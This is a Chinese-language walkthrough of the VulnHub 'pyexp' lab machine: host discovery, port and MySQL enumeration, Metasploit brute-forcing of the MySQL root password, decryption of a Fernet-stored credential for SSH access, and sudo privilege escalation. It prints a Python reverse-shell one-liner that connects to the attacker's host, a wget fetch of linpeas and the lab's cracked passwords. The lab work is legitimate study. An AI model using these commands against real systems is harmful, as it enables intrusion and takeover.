靶机地址:https://download.vulnhub.com/pyexp/pyexpvm.zip
1. 主机发现
目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定目标靶机地址为232.164。
2. 端口扫描
通过下面的命令扫描一下目标靶机开放的端口。
$ sudo nmap -p 1-1000 192.168.232.164
$ sudo nmap -p 1001-10000 192.168.232.164
$ sudo nmap -p 10001-65535 192.168.232.164
开放了两个端口,枚举一下端口上运行的服务。
3. 服务枚举
通过下面的命令扫描一下目标靶机开放端口上运行的服务。
$ sudo nmap -A -p1337,3306 -sV -sT 192.168.232.164
1337上竟然运行的是openssh,有点出乎我的预料。
4. 服务探查
4.1 探查1337端口
直接用nc访问一下看看。
没有太多有用的信息。
4.2 探查3306端口
对于3306端口,完全不知道怎么下手,直接用网上的命令试试看。
$ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 192.168.232.164
列出来了一堆用户,其它也没啥。根据版本信息搜索了一下searchsploit,也没有发现有价值的漏洞可以利用,使用metasploit试试看。
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
前两个都没有发现有价值的内容,后面的都需要密码,直接用metasploit进行一下爆破。
密码文件就用前面枚举出来的用户,如下图。
密码文件使用rockyou。
msf> use auxiliary/scanner/mysql/mysql_login
msf> set rhosts 192.168.232.164
msf> set user_file /home/kali/hack/000OSCP/pyexpvm/mysql_usr.txt
msf> set pass_file /home/kali/hack/rockyou.txt
msf> set threads 3
msf> exploit
结果分分钟爆出了root用户的密码是prettywoman,如下图所示。
直接登录一下看看。
$ mysql -h 192.168.232.164 -u root -p
成功进入,翻找一下看看。在data数据库中有个fernet表,里面有一行数据,像是账号凭据,不过暂时还不知道怎么使用,如下图。
其它并没有太明显的发现,解密一下上面的内容。
$ hashid gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
两个字段都解密不了。
也不是base64/32的。实在没招,bing搜索一下fernet、cred、keyy这三个词语看看。
太出乎我的意料了,fernet貌似是一种加解密的算法,我孤陋寡闻了。
这是git上找到的针对fernet算法的描述,既然源码都找到了,应该就好搞了。并且在网上还找到了fernet的基本用法(参照Allocator大神的帖子:https://blog.youkuaiyun.com/Allocator/article/details/128928862
),如下图。
在命令行里面试试看。
$ pip install cryptography
>>> from cryptography.fernet import Fernet
>>> f = Fernet("UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=")
>>> f.decrypt("gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=").decode()
很顺畅的就解码出来了,从字面来看冒号两端应该分别是用户名和密码(用户名lucy,密码wJ9`”Lemdv9[FEw-),这密码也太变态了。但是mysql里面搜索过了,没有其他用户,这个应该就是通过1337端口ssh到靶机的账号了,试试看。
$ ssh lucy@192.168.232.164 -p 1337
顺利进入靶机。
5. 提权
直接执行一下linpeas看看。
lucy@pyexp:~$ wget http://192.168.232.129:8000/linpeas.sh
lucy@pyexp:~$ chmod u+x linpeas.sh
lucy@pyexp:~$ sh linpeas.sh
这个应该是可以提权的。先看看这个/opt/exp.py里面有些啥。
貌似是输入的东西会直接执行?试试看吧
看来我想简单了,我输入的内容并没有被执行啊。看看能不能修改这个文件。
额,不行。不过这里应该是可以输入东西的,既然不能输入shell,那就输入python代码试试看。
日了狗了,直接可以执行输入的python代码啊。那岂不是可以直接通过python创建反弹shell,反弹一个root的shell?更加简单直接的可以直接执行os.system(“/bin/sh”)来获得提权?两种方法都试试看。
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")
验证一下。
确实提权成功。